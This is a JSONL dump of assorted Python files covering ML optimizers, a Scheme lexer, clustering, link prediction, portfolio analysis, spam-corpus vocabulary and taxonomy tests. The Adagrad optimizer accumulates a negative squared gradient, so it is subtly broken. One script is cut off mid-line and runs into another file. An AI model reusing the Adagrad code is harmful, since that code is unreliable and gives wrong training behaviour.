if mu is None:\n self.mu = 0.99\n else:\n self.mu = mu\n\n def update(self, x, d_x, lr):\n v_prev = self.v\n v = self.mu * self.v - lr * d_x\n x += -self.mu * v_prev + (1 + self.mu) * v\n\n\nclass Adagrad:\n def __init__(self, eps=None):\n self.cache = 0\n if eps is None:\n self.eps = 1e-8\n else:\n self.eps = eps\n\n def update(self, x, lr, d_x):\n self.cache += -d_x ** 2\n x += -lr * d_x / (np.sqrt(self.cache) + self.eps)\n\n\nclass RMSprop:\n def __init__(self, eps=None, decay_rate=None):\n self.cache = 0\n if eps is None:\n self.eps = 1e-8\n else:\n self.eps = eps\n if decay_rate is None:\n self.decay_rate = 0.99\n else:\n self.decay_rate = decay_rate\n\n def update(self, x, d_x, lr):\n self.cache = self.decay_rate * self.cache + (1 - self.decay_rate) * d_x ** 2\n x += -lr * d_x / (np.sqrt(self.cache) + self.eps)\n\n\nclass Adam:\n def __init__(self, eps=None, beta1=None, beta2=None):\n if eps is None:\n self.eps = 1e-8\n else:\n self.eps = eps\n if beta1 is None:\n self.beta1 = 0.9\n else:\n self.beta1 = beta1\n if beta2 is None:\n self.beta2 = 0.999\n else:\n self.beta2 = beta2\n self.m = 0\n self.v = 0\n\n def update(self, x, d_x, lr):\n self.m = self.beta1 * self.m + (1 - self.beta1) * d_x\n self.v = self.beta2 * self.v + (1 - self.beta2) * (d_x ** 2)\n x += -lr * self.m / (np.sqrt(self.v) + self.eps)\n","sub_path":"framework/weights_update.py","file_name":"weights_update.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"605036278","text":"import os\nimport sys\nimport re\nimport argparse\nimport json\nimport tensorflow as tf\nimport numpy as np\nimport csv\n\nimport torch\n\nimport logging\n\nfrom mlcore.callback import Callback\n\n\nclass FilterSELFManager(Callback):\n def __init__(\n self,\n path,\n cache_reader,\n cache_writer,\n filter_dataloader,\n alpha=0.5,\n patience=10,\n device=\"cpu\",\n metric=\"loss\",\n target=\"minimizing\",\n index=\"id\",\n ):\n\n self._alpha_filter = alpha\n self._iter = 0\n\n self.path = path\n self.cache_reader = cache_reader\n self.cache_writer = cache_writer\n self.filter_dataloader = filter_dataloader\n self.device = device\n self.index = index\n self.patience = patience\n self._patience_step = 0\n\n self._metric = metric\n self._target = target\n self._best_target = np.finfo(np.float32).max if target == \"minimizing\" else np.finfo(np.float32).min\n\n def on_test_end(self, **kwargs):\n if self._metric not in kwargs:\n print(kwargs)\n raise ValueError()\n\n alpha = min(1 - 1 / (self._iter + 1), self._alpha_filter)\n\n self._patience_step -= 1\n\n target = kwargs[self._metric]\n if self._target == \"minimizing\":\n if target < self._best_target:\n logging.info(\n f\"FilterSELFManager: skip filtering target:{target} < self._best_target:{self._best_target}\"\n )\n self._best_target = target\n return {\n \"filter/iter\": self._iter,\n \"filter/alpha\": alpha,\n \"filter/best_target\": self._best_target,\n \"filter/patience\": self._patience_step,\n }\n else:\n if target > self._best_target:\n logging.info(\n f\"FilterSELFManager: skip filtering target:{target} > self._best_target:{self._best_target}\"\n )\n self._best_target = target\n return {\n \"filter/iter\": self._iter,\n \"filter/alpha\": alpha,\n \"filter/best_target\": self._best_target,\n \"filter/patience\": self._patience_step,\n }\n\n if self._patience_step > 0:\n logging.info(f\"FilterSELFManager: skip filtering patience:{self._patience_step}\")\n return {\n \"filter/iter\": self._iter,\n \"filter/alpha\": alpha,\n \"filter/best_target\": self._best_target,\n \"filter/patience\": self._patience_step,\n }\n\n # reset alpha for mean trainer\n if hasattr(self.trainer, \"_mean_teacher_step\"):\n self.trainer._mean_teacher_step = 0\n\n logging.info(f\"FilterSELFManager: start filtering with alpha:{alpha} for iter:{self._iter}\")\n with self.cache_reader() as reader:\n with self.cache_writer() as writer:\n for batch_id, sample in enumerate(self.filter_dataloader):\n result = self.trainer.val_step(sample, device=self.device)\n prediction = result[\"model_output\"][\"prediction\"].cpu().numpy()\n for batch_element in range(prediction.shape[0]):\n cache_id = sample[self.index][batch_element]\n # Compute moving average of all predictions\n old_prediction = reader.read(cache_id)\n\n if old_prediction is None:\n old_prediction = np.zeros_like(prediction[batch_element])\n else:\n old_prediction = old_prediction[\"prediction\"]\n\n average_prediction = old_prediction * alpha + (1 - alpha) * prediction[batch_element]\n\n # print(average_prediction)\n writer.write(cache_id, [\"prediction\"], [average_prediction])\n\n self._patience_step = self.patience\n self._iter += 1\n return {\n \"filter/iter\": self._iter,\n \"filter/alpha\": alpha,\n \"filter/best_target\": self._best_target,\n \"filter/patience\": self._patience_step,\n }\n\n def state_dict(self, **kwargs):\n return {\n \"alpha_filter\": self._alpha_filter,\n \"iter\": self._iter,\n \"lowest_loss\": self._best_target,\n \"patience_step\": self._patience_step,\n }\n\n def load_state_dict(self, data: dict):\n self._alpha_filter = data[\"alpha_filter\"]\n self._iter = data[\"iter\"]\n self._best_target = data[\"lowest_loss\"]\n self._patience_step = data[\"patience_step\"]\n\n\nclass FilterSELFIterableDataset(torch.utils.data.IterableDataset):\n def __init__(\n self,\n dataset,\n cache_reader,\n filter_method,\n filtered_delete=False,\n random_deletion=None,\n random_deletion_start=False,\n index=\"id\",\n ):\n self.dataset = dataset\n self.cache_reader = cache_reader\n self.filter_method = filter_method\n self.filtered_delete = filtered_delete\n self.random_deletion = random_deletion\n self.random_deletion_start = random_deletion_start\n self.index = index\n\n def handle_sample(self, reader, sample):\n if \"loss_weight\" in sample:\n loss_weight = sample[\"loss_weight\"]\n else:\n loss_weight = torch.tensor(1, dtype=torch.float32)\n\n if self.random_deletion is not None:\n loss_weight = (torch.rand(size=[]) > self.random_deletion).float()\n\n if sample[self.index] not in reader:\n if self.random_deletion_start:\n loss_weight = (torch.rand(size=[]) > self.random_deletion_start).float()\n return {**sample, \"loss_weight\": loss_weight}\n entry = reader.read(sample[self.index])\n if entry is None:\n return {**sample, \"loss_weight\": loss_weight}\n\n prediction = entry[\"prediction\"]\n # TODO top_k or equal argmax\n # if prediction not in x['concept_ids'].tolist():\n # continue\n decision = self.filter_method(sample, prediction)\n if decision:\n # print(f\"{decision} {sample['id']} {sample['label']} {sample['concept_ids']} {prediction}\")\n if self.filtered_delete:\n return None\n else:\n return {**sample, \"loss_weight\": torch.tensor(0, dtype=torch.float32)}\n\n return {**sample, \"loss_weight\": loss_weight}\n\n def __iter__(self):\n with self.cache_reader() as reader:\n for x in self.dataset:\n result = self.handle_sample(reader, x)\n if result is None:\n continue\n yield result\n\n def __len__(self):\n return len(self.dataset)\n\n\nclass SplitIterableDataset(torch.utils.data.IterableDataset):\n def __init__(self, dataset, return_unlabeled=False):\n self.dataset = dataset\n self.return_unlabeled = return_unlabeled\n\n def __iter__(self):\n for x in self.dataset:\n\n if self.return_unlabeled:\n if x[\"loss_weight\"] == 0:\n yield x\n else:\n continue\n else:\n if x[\"loss_weight\"] == 1:\n yield x\n else:\n continue\n\n def __len__(self):\n return len(self.dataset)\n","sub_path":"gan/mlcore/filter/filter_self.py","file_name":"filter_self.py","file_ext":"py","file_size_in_byte":7530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"37041783","text":"# Import required libraries\nimport ply.lex as lex\nimport sys\n\n# Create a list of reserved words.\nreserved = {\n 'if' : 'IF',\n 'cond' : 'COND',\n 'else' : 'ELSE',\n 'case' : 'CASE',\n 'lambda' : 'LAMBDA',\n 'define' : 'DEFINE',\n 'and' : 'AND',\n 'or' : 'OR',\n 'do' : 'DO',\n 'cons' : 'CONS',\n 'cdr' : 'CDR',\n 'car' : 'CAR',\n 'last' : 'LAST',\n 'list' : 'LIST',\n 'remainder' : 'REMAINDER',\n 'log' : 'LOG',\n 'read' : 'READ',\n 'display' : 'DISPLAY',\n }\n\n# Define tokens and add the reserved words as a list.\ntokens = [\n 'EQQUES',\n 'NEQQUES',\n 'ID',\n 'ADD',\n 'MINUS',\n 'MULTIPLY',\n 'DIVIDE',\n 'EQUALS',\n 'GREATER',\n 'LESS',\n 'GREATER_EQUAL',\n 'LESS_EQUAL',\n 'OPEN_PAR',\n 'CLOSE_PAR',\n 'OPEN_BRA',\n 'CLOSE_BRA',\n 'OPEN_KEY',\n 'CLOSE_KEY',\n 'COMMA',\n 'TRUE',\n 'FALSE',\n 'SPACE',\n 'NEW_LINE',\n 'COMMENT',\n 'COM_BLOCK',\n 'INT',\n 'FLOAT',\n 'CHARACTER',\n 'STRING',\n ] + list(reserved.values())\n\n# Define all the token specifications in order of importance (usually the length of the token).\nt_ignore_COM_BLOCK = r'\\#\\|(.|\\n|\\t)*\\|\\#'\n\nt_ADD = r'\\+'\nt_MINUS = r'\\-'\nt_MULTIPLY = r'\\*'\nt_DIVIDE = r'\\/'\nt_EQUALS = r'\\='\nt_GREATER_EQUAL = r'\\>\\='\nt_GREATER = r'\\>'\nt_LESS_EQUAL = r'\\<\\='\nt_LESS = r'\\<'\nt_OPEN_PAR = r'\\('\nt_CLOSE_PAR = r'\\)'\nt_OPEN_BRA = r'\\['\nt_CLOSE_BRA = r'\\]'\nt_OPEN_KEY = r'\\{'\nt_CLOSE_KEY = r'\\}'\nt_COMMA = r'\\,'\nt_TRUE = r'\\#t'\nt_FALSE = r'\\#f'\nt_CHARACTER = r'\\'[^\\']+\\''\nt_STRING = r'\\\"[^\"]*\\\"'\n\n# Ignore elements that are goint to be in the code but aren't required.\nt_ignore_SPACE = r'\\ '\nt_ignore_TAB = '\\\\t'\nt_ignore_ENTER = '\\\\n'\nt_ignore_COMMENT = r'\\;.*'\n\ndef t_EQQUES(t):\n r'eq\\?'\n return t\n\ndef t_NEQQUES(t):\n r'neq\\?'\n return t\n\n# Define a regular expression to detect float numbers, located above the integer identifier to prioritize it.\ndef t_FLOAT(t):\n r'\\d+\\.\\d+'\n t.value = float(t.value)\n return t\n\n# Define a regular expression to detect itneger numbers.\ndef t_INT(t):\n r'\\d+'\n t.value = int(t.value)\n return t\n\n# Define a regular expression to detect identifiers.\ndef t_ID(t):\n r'[a-zA-Z_][a-zA-Z_0-9]*'\n t.type = reserved.get(t.value,'ID')\n return t\n\n# Define the error method for invalid characters.\ndef t_error(t):\n t.type = \"ERROR\"\n print(\"ERROR: Illegal character '%s'\" % t.value[0])\n t.value = t.value[0]\n t.lexer.skip(1)\n return t\n\n'''def t_error(t):\n print(\"ERROR: Illegal character '%s'\" % t.value[0])\n t.lexer.skip(1)'''\n\n# Create lexer.\nlexer = lex.lex()\n#string = \"'a' ' ' '/' read display '4' = '=' \\\"b\\\" cond \\\"Simple \\tsentence with issues\\\" if\\tIF cond else case lambda\\ndefine and or do cons cdr car#|Bloque de comentarios\\nIgnorame pls\\tsi eres tan amable\\n|#last list remainder log id id1 id2 id_ id_2_3_4 id_test_3 iDF id_Fg4_5f +-/*;Comentario, ignorame pls\\n>=><=<()[]{},#t #f eq? neq?\"\n#lexer.input(string)\n'''\nwhile True:\n tok = lexer.token()\n if not tok:\n break\n if tok.type == \"ERROR\":\n break\n print(tok)\n'''\n","sub_path":"scheme_lexer.py","file_name":"scheme_lexer.py","file_ext":"py","file_size_in_byte":3098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"355486092","text":"from sklearn.cluster import KMeans\nimport numpy as np\nimport pickle\n# https://stackoverflow.com/questions/27889873/clustering-text-documents-using-scikit-learn-kmeans-in-python\n\n# fine-tuning number of clusters: 5, then 4 and 6\nNUM_CLUSTERS = 8\n\nwith open('data/index_to_vocab.pkl', 'rb') as index_vocab_pkl:\n\tindex_to_vocab_dict = pickle.load(index_vocab_pkl)\ndoc_by_vocab_mat = np.load(\"data/doc_by_vocab.npy\") \n\nmodel = KMeans(n_clusters=NUM_CLUSTERS, random_state=9965130, init='k-means++', max_iter=1000, n_init=10)\nmodel.fit(doc_by_vocab_mat)\n\n# print(\"Top terms per cluster:\")\norder_centroids = model.cluster_centers_.argsort()[:, ::-1]\nrelevant_keywords = []\nfor i in range(NUM_CLUSTERS):\n # print (\"Cluster %d:\" % i)\n cluster = set()\n for ind in order_centroids[i, :10]:\n # print (' %s' % index_to_vocab_dict[ind])\n cluster.add(index_to_vocab_dict[ind])\n print\n relevant_keywords.append(cluster)\n print(cluster)\n\n# output [ sets(keywords) ] to go to a pre-mapped list in search.py\nwith open(\"data/query_expansion_clusters.pkl\", \"wb+\") as file:\n\t\tpickle.dump(relevant_keywords, file)","sub_path":"kmeans.py","file_name":"kmeans.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"343509753","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 27 23:29:35 2017\n\n@author: shwetank\n\"\"\"\nimport pandas as pd\nimport numpy as np\nfrom sklearn.metrics.pairwise import cosine_similarity as cs\nfrom sklearn.metrics import jaccard_similarity_score as js\nfrom sklearn import svm\nfrom sklearn.metrics import confusion_matrix\nimport warnings\nimport random\nwarnings.filterwarnings(\"ignore\", category=DeprecationWarning) \n\nprint(\"Reading Adjacency Matrix\")\nA = pd.read_csv(\"adjMat.csv\",header=None);\n\nno_edges = A.sum().sum()\nno_nodes = A.shape[1]\n\n###################### Basic Feature Definitions ##########################\nprint(\"Let Us Start Basic Feature Definition of IB and OB and read exp(A)\")\nA = A.values \nexpA = pd.read_csv(\"exp_mat.csv\",header = None)\nexpA = expA.values\n#expA_n = expA/(expA.max().max())\n#expA_n = expA_n.round(5)\nIB_exp = np.sum(expA,axis = 0) ###columnwise Inboundnes\nOB_exp = np.sum(expA,axis = 1) ###rowwise Outboundness\nIB_adj = np.sum(A,axis = 0)\nOB_adj = np.sum(A,axis = 1)\n\ncntrl = [] \nfor i in range(no_nodes): \n cntrl.append(expA[i][i])\n\nprint(\"Start appending features\")\n\nfeat_train = []\nlab_train = []\nfor i in range(no_nodes):\n for j in range(no_nodes):\n lab_train.append(A[i][j])\n temp = []\n #node features\n \n temp.append(IB_exp[i])\n temp.append(IB_exp[j])\n temp.append(OB_exp[i])\n temp.append(OB_exp[j]) \n temp.append(cntrl[i])\n temp.append(cntrl[j])\n #edge features\n temp.append(expA[i][j])\n \n temp.append(IB_adj[i])\n temp.append(IB_adj[j])\n temp.append(OB_adj[i])\n temp.append(OB_adj[j])\n foo = cs(A[i],A[j])\n temp.append(foo[0][0])\n temp.append(js(A[i],A[j]))\n \n feat_train.append(temp)\n\n\nprint(\"Calculating training and testing feature\")\nedge_size = 2430\nper = 0.8 \nfeat_ones = []\nfeat_zeros = []\nlab_ones = []\nlab_zeros = []\ncount = 0\nfor i in range(no_nodes):\n for j in range(no_nodes):\n if i==j:\n continue\n if lab_train[300*i+j]==1:\n feat_ones.append(feat_train[300*i+j])\n lab_ones.append(1)\n else:\n if count output\n os.system(\"ipconfig\") \n print( os.system('ls -la') )\n\n\n # 'popen' can make a connection to std input and output\n stream = os.popen(\"ipconfig\")\n print(stream.read())\n\n stream = os.popen('ls -la')\n print(stream.read())\n\n # subprocss open\n # subprocess.run([\"ls\", \"l\", \"//c/\"])\n print(subprocess.Popen(\"echo Hello world-d''!\", shell=True, stdout=subprocess.PIPE).stdout.read())\n\n # It will return, after the sub process complete\n print(subprocess.call(\"echo Hello world!\", shell=True))\n\n res = 1\n\nif __name__ == \"__main__\":\n\n main()\n\n","sub_path":"Python35/standard lib/test_os.py","file_name":"test_os.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} diff --git a/4066.jsonl b/4066.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..cfc7a17e72412e3f03eeece4d4530bf7bd59f691 --- /dev/null +++ b/4066.jsonl @@ -0,0 +1,729 @@ +{"seq_id":"402566792","text":"\"\"\"\nPlots MaxF1 score.\n\n-------------------------------------------------\n\nThe MIT License (MIT)\n\nCopyright (c) 2017 Marvin Teichmann\n\nMore details: https://github.com/MarvinTeichmann/KittiSeg/blob/master/LICENSE\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport re\nimport numpy as np\nimport sys\n\nimport matplotlib.pyplot as plt\n\nrunfolder = '/media/srg/Work/git/avm_dataset/dataset/AVM6414_augmented' #'D:/git/KittiSeg/RUNS' \nanafile = 'output.log'\n\noutput_folder = os.path.join(runfolder, 'analyse')\nif os.path.isdir(output_folder) == False:\n os.mkdir(output_folder)\n\nfilename = os.path.join(runfolder, anafile)\nbegin_iter = 55000\neval_iters = 5000\nmax_iters = 95000\n\n\ndef read_values(class_num, prop):\n regex_string = \"\\[class\\s%d\\]\\s%s\\:\\s+(\\d+\\.\\d+)\" % (class_num, prop) \n regex = re.compile(regex_string)\n\n value_list = [regex.search(line).group(1) for line in open(filename)\n if regex.search(line) is not None]\n\n float_list = [float(value) for value in value_list]\n\n return float_list\n\ndef plot_training_result(prop, begin_iter, unit_iter, max_iter, n):\n label_list = range(begin_iter, max_iter+1, unit_iter)\n \n plt.figure(figsize=(8, 5))\n plt.rcParams.update({'font.size': 14})\n \n class_num = range(0,n)\n for c in class_num:\n values = read_values(c, prop)\n max_value = max(values)\n max_iter = values.index(max(values))* unit_iter + begin_iter\n plt.plot(label_list, values, label='class {}'.format(c), marker=\".\", linestyle='-')\n plt.text(65000, 35-c*5, '[calss {}] iter: {}, val: {}'.format(c, max_iter, max_value), size='x-small') \n plt.xlabel('Iteration')\n plt.ylim([0,100])\n plt.ylabel('{} [%]'.format(prop))\n plt.legend(loc=0)\n \n plt.savefig(output_folder + \"/{}\".format(prop) + \".pdf\")\n plt.show()\n\n# MaxF1\nclass_num = 4\nprop = 'MaxF1'\nplot_training_result(prop, begin_iter, eval_iters, max_iters, class_num)\n\n# Average Precision\nprop = 'Average Precision'\nplot_training_result(prop, begin_iter, eval_iters, max_iters, class_num)\n","sub_path":"utils/plot_eval_results.py","file_name":"plot_eval_results.py","file_ext":"py","file_size_in_byte":2147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"621745301","text":"import time, random\nfrom threading import *\n\n\ndef run():\n # 定义一个私有变量\n local_var = local()\n local_var.numbers = [1] # 给定初始值为1\n # 给定休眠时间,模拟不同线程的执行\n time.sleep(random.random())\n for i in range(8):\n local_var.numbers.append(random.choice(range(10)))\n # 打印当前线程的私有变量值\n print(current_thread(), local_var.numbers)\n\n\nif __name__ == '__main__':\n thread_list = []\n\n for i in range(5):\n t1 = Thread(target=run)\n t1.start()\n thread_list.append(t1)\n\n for j in thread_list:\n j.join()\n","sub_path":"Python多线程和多进程/线程/同步/线程独立的私有变量.py","file_name":"线程独立的私有变量.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"195129254","text":"\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed May 23 11:48:01 2018\r\n\r\n@author: cindy\r\n\"\"\"\r\nFOV='GOS FOV [arcmin]'\r\nR='Radius [solar radii]'\r\nT='T [degrees]'\r\nROTATION='field rotation [degrees]'\r\nOCCULTER='Occulter'\r\nMOD_STATE='Modulator State'\r\nON='On'\r\nOFF='Off'\r\nOUT='Out'\r\nMOD_TYPE='Modulator Type'\r\nMOD_POS='Modulator position'\r\nSKY_BRIGHT='sky brightness [millionths of disk]'\r\nND_FILTER='Neutral Density Filter'\r\nSP_SLIT='SP slit length [arcsec]'\r\nSP_FILTER='SP filter'\r\nSP_CENTER_WL='SP center wavelength [nm]'\r\nSP_EXP_TIME='SP exposure time [ms]'\r\nSP_CO_ADD='SP number of coadds'\r\nSP_NUM_REPEATS='SP number of repeats'\r\nSP_STEP_SIZE='SP step size [arcsec]'\r\nSP_NUM_STEPS='SP number of steps'\r\nSP_SECS='SP duration [s]'\r\nSP_DV='SP data volume [MB]'\r\n\r\nCI_FILTER='CI filter'\r\nCI_CENTER_WL='CI center wavelength [nm]'\r\nCI_EXP_TIME='CI exposure time [ms]'\r\nCI_CO_ADD='CI number of coadds'\r\nCI_NUM_POSITIONS='CI number of positions'\r\nCI_NUM_REPEATS='CI number of repeats'\r\nCI_SECS='CI duration [s]'\r\nCI_DV='CI data volume [MB]'\r\nCI_POS_NUMS='CI positions values'\r\nSP_CFG_NAME='SP config name'\r\nCI_CFG_NAME='CI config name'\r\n\r\nCORONAL_FLUX=\"Coronal Flux spectrum\"\r\nDISK_FLUX=\"Disk Flux spectrum\"\r\nDISK_SPECTRUM_1=\"Disk low resolution SP filter & spectrum\"\r\nDISK_SPECTRUM_2=\"Disk high resolution SP filter & spectrum\"\r\nDISK_SPECTRUM_3=\"Disk high resolution CI filter & spectrum\"\r\nCORONAL_SPECTRUM_1=\"Corona low resolution SP filter & spectrum\"\r\nCORONAL_SPECTRUM_2=\"Corona high resolution SP filter & spectrum\"\r\nCORONAL_SPECTRUM_3=\"Corona high resolution CI filter & spectrum\"\r\nLINE_COUNTS=\"SP coronal line counts in filter passband\"\r\nV_SENSITIVITY=\"SP velocity sensitivity for lines in filter passband\"\r\nB_SENSITIVITY=\"SP magnetic sensitivity lines in filter passband\"\r\n\r\nDISCRETE=\"Discrete\"\r\nCONTINIOUS=\"Continuous\"\r\nDEFAULT_CONFIG=\"Default Configuration\"\r\n\r\nSP=\"SP\"\r\nCI=\"CI\"\r\nSP_CI=\"SP&CI\"\r\nDUO=\"duo\"\r\nDELIM=' - '\r\nSP_METRICS=[\r\nR,\r\nSKY_BRIGHT,\r\nND_FILTER,\r\nSP_CENTER_WL,\r\nSP_EXP_TIME,\r\nSP_CO_ADD,\r\nSP_SECS,\r\nSP_DV\r\n]\r\n\r\nCI_METRICS=[\r\nR,\r\nSKY_BRIGHT,\r\nND_FILTER,\r\nCI_EXP_TIME,\r\nCI_CO_ADD,\r\nCI_SECS,\r\nCI_DV]\r\n\r\n\r\nSUNMAP_PARAMS=['tSB','rSB','slitRotationSB','fovCB',\r\n 'occulterCB','stepSizeSB_SP','numStepsSB_SP','numPosCB_CI']\r\n\r\n\r\nPARAMS_CHANGED_SP=\"Saturation Check changed SP exposure time and coadds\"\r\nPARAMS_CHANGED_CI=\"Saturation Check changed CI exposure time and coadds\"\r\n\r\nCI_SAT_LEVEL=\"CI Saturation Level\"\r\nSP_SAT_LEVEL=\"SP Saturation Level\"\r\n\r\nAUTO_SAT_CHECK_SP_CANCELLED=\"SP camera has reached minimum exposure time. Please insert ND filter. Automatic Saturation Check has been disabled.\"\r\nAUTO_SAT_CHECK_CI_CANCELLED=\"CI camera has reached minimum exposure time. Please insert ND filter. Automatic Saturation Check has been disabled.\"\r\n\r\nAUTO_SAT_CHECK_CI=\"Automatic Saturation Check CI\"\r\nAUTO_SAT_CHECK_SP=\"Automatic Saturation Check SP\"\r\n\r\nINPUT_MODEL=\"Input Models\"\r\n\r\nDEL_ZANNA_QS=\"QS\"\r\nDEL_ZANNA_QR=\"QR\"\r\nDEL_ZANNA_AR=\"AR\"\r\nDEL_ZANNA_QS_LABEL=\"DelZanna QS Model\"\r\nDEL_ZANNA_QR_LABEL=\"DelZanna QR Model\"\r\nDEL_ZANNA_AR_LABEL=\"DelZanna AR Model\"\r\n\r\nUSE_BOTH_MESSAGE=\"Using Spectrograph and Context Imager simultanously restricts the instrument configurations. Please check configurations before proceeding.\"\r\nPROG_WL_ERROR=\"Instrument program only supports a single center wavelength for the spectrograph.\"","sub_path":"names.py","file_name":"names.py","file_ext":"py","file_size_in_byte":3341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"433677585","text":"def intersection(arrays):\n \"\"\"\n YOUR CODE HERE\n \"\"\"\n # Your code here\n\n dct = {}\n result = []\n\n # Looping thru the lists\n\n for inner_array in arrays:\n\n for item in inner_array:\n\n if item not in dct:\n\n dct[item] = 0\n \n # Counting each appearance\n\n dct[item] += 1\n\n # if the counting match the number of inner arrays, it means\n # this number is in all arrays.\n\n for key,value in dct.items():\n\n if value == len(arrays):\n\n result.append(key)\n\n\n return result\n\n\nif __name__ == \"__main__\":\n arrays = []\n\n arrays.append(list(range(1000000, 2000000)) + [1, 2, 3])\n arrays.append(list(range(2000000, 3000000)) + [1, 2, 3])\n arrays.append(list(range(3000000, 4000000)) + [1, 2, 3])\n\n print(intersection(arrays))\n","sub_path":"hashtables/ex3/ex3.py","file_name":"ex3.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"349587833","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 31 02:49:19 2019\n\n@author: Stella\n\"\"\"\n\n\nimport pandas as pd\nimport numpy as np\nimport scipy.optimize\nimport math\nimport os\nfrom fun import *\n\nnamelist = ['China','Common', 'ETF', 'OTC', 'Tech', 'Value']\nnamedict = dict({'China':\"中概股基金\",'Common':\"一般股票型基金\", \"ETF\": \"指數型基金\", \"OTC\":\"店頭市場基金\", \"Tech\":\"科技型基金\", \"Value\":\"價值型基金\"})\n\n\ndflist = []\nreturn_list=[]\nq_list=[]\n\nfor i in range(len(namelist)):\n inputFileName = namelist[i]+\".csv\"\n dflist.append(formatting(inputFileName))\n return_list.append(return_calculate(dflist[i],1))\n q_list.append(riskiness(return_list[i],1,namelist[i]))\n \n\ntestname = \"0050 元大台灣50\" \n\nport_qlist = []\nindbest_list = best_fund(q_list)\n\nfor i in range(len(indbest_list)):\n port_qlist.append(portfolio(testname,indbest_list[i],dflist))\n\n \nbest_port(port_qlist) \n","sub_path":"subfunction/port_best.py","file_name":"port_best.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"220578568","text":"import glob\nimport pickle\nfrom nltk.corpus import stopwords\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.tokenize import word_tokenize\nimport numpy as np\n\n\ndef extract_vocabulary(folder):\n files = glob.glob(folder+\"*.txt\")\n vocabulary = {}\n for filename in files:\n with open(filename) as f:\n text = f.readlines()\n for line in text:\n words = word_tokenize(line)\n for word in words:\n word = word.lower()\n if word in vocabulary.keys():\n vocabulary[word] += 1\n else:\n vocabulary[word] = 1\n vocabulary.pop(\"\", None)\n return vocabulary\n\n\ndef merge_vocabulary(old_vocab, new_vocab):\n for word in new_vocab.keys():\n if word in list(old_vocab.keys()):\n old_vocab[word] += new_vocab[word]\n else:\n old_vocab[word] = new_vocab[word]\n return old_vocab\n\n\ndef stop_word_removal(vocabulary):\n stop_words = set(stopwords.words('english'))\n for word in stop_words:\n vocabulary.pop(word, None)\n return vocabulary\n\n\ndef lemmatize(vocabulary):\n lemmatizer = WordNetLemmatizer()\n for word in list(vocabulary.keys()):\n lemmatized_word = lemmatizer.lemmatize(word)\n if lemmatized_word != word:\n try:\n vocabulary[lemmatized_word] += vocabulary[word]\n except KeyError:\n pass\n vocabulary.pop(word)\n return vocabulary\n\n\ndef threshold(vocabulary, lower_percentile, upper_percentile):\n lower_bound = np.percentile(np.fromiter(vocabulary.values(), dtype=float), lower_percentile)\n upper_bound = np.percentile(np.fromiter(vocabulary.values(), dtype=float), 100-upper_percentile)\n print(lower_bound, upper_bound)\n vocabulary = {key:value for key, value in vocabulary.items() if value > lower_bound and value < upper_bound}\n return vocabulary\n\n\nif __name__ == '__main__':\n vocabulary = {}\n for i in range(1, 11):\n vocabulary = merge_vocabulary(vocabulary, extract_vocabulary(\"lingspam/part\"+str(i)+\"/\"))\n vocabulary = stop_word_removal(vocabulary)\n vocabulary = lemmatize(vocabulary)\n vocabulary = threshold(vocabulary, 92, 0.15)\n with open(\"vocabulary.pickle\", \"wb\") as f:\n pickle.dump(vocabulary, f)\n","sub_path":"vocabulary.py","file_name":"vocabulary.py","file_ext":"py","file_size_in_byte":2341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"15701855","text":"import unittest\nfrom obisqc import taxonomy\nimport logging\n\nlogging.basicConfig(level=logging.INFO, format=\"%(asctime)s %(name)-12s %(levelname)-8s %(message)s\", datefmt=\"%H:%M:%S\")\nlogging.getLogger(\"urllib3\").setLevel(logging.INFO)\nlogging.getLogger(\"obisqc.util.aphia\").setLevel(logging.INFO)\n\n\nclass DummyCache:\n def store(self, aphiaid, aphia_info):\n pass\n def fetch(self, aphiaid):\n if str(aphiaid) == \"141433\":\n return {\n \"record\": {\n \"AphiaID\": 141433,\n \"scientificname\": \"Abra alba\",\n \"status\": \"accepted\",\n \"valid_AphiaID\": 141433,\n \"isMarine\": False, # modified for testing purposes\n \"isBrackish\": False, # modified for testing purposes\n \"isFreshwater\": None,\n \"isTerrestrial\": None\n },\n \"classification\": {}\n }\n\n\nclass TestTaxonomyCache(unittest.TestCase):\n\n def setUp(self):\n self.cache = DummyCache()\n\n def test_cache(self):\n records = [\n { \"id\": 0, \"scientificNameID\": \"urn:lsid:marinespecies.org:taxname:141433\" }\n ]\n\n results_nocache = taxonomy.check(records)\n self.assertTrue(results_nocache[0][\"annotations\"][\"aphia\"] == 141433)\n self.assertFalse(results_nocache[0][\"dropped\"])\n self.assertNotIn(\"not_marine\", results_nocache[0][\"flags\"])\n\n results_cache = taxonomy.check(records, self.cache)\n self.assertTrue(results_cache[0][\"annotations\"][\"aphia\"] == 141433)\n self.assertTrue(results_cache[0][\"dropped\"])\n self.assertIn(\"not_marine\", results_cache[0][\"flags\"])\n\n\nif __name__ == \"__main__\":\n 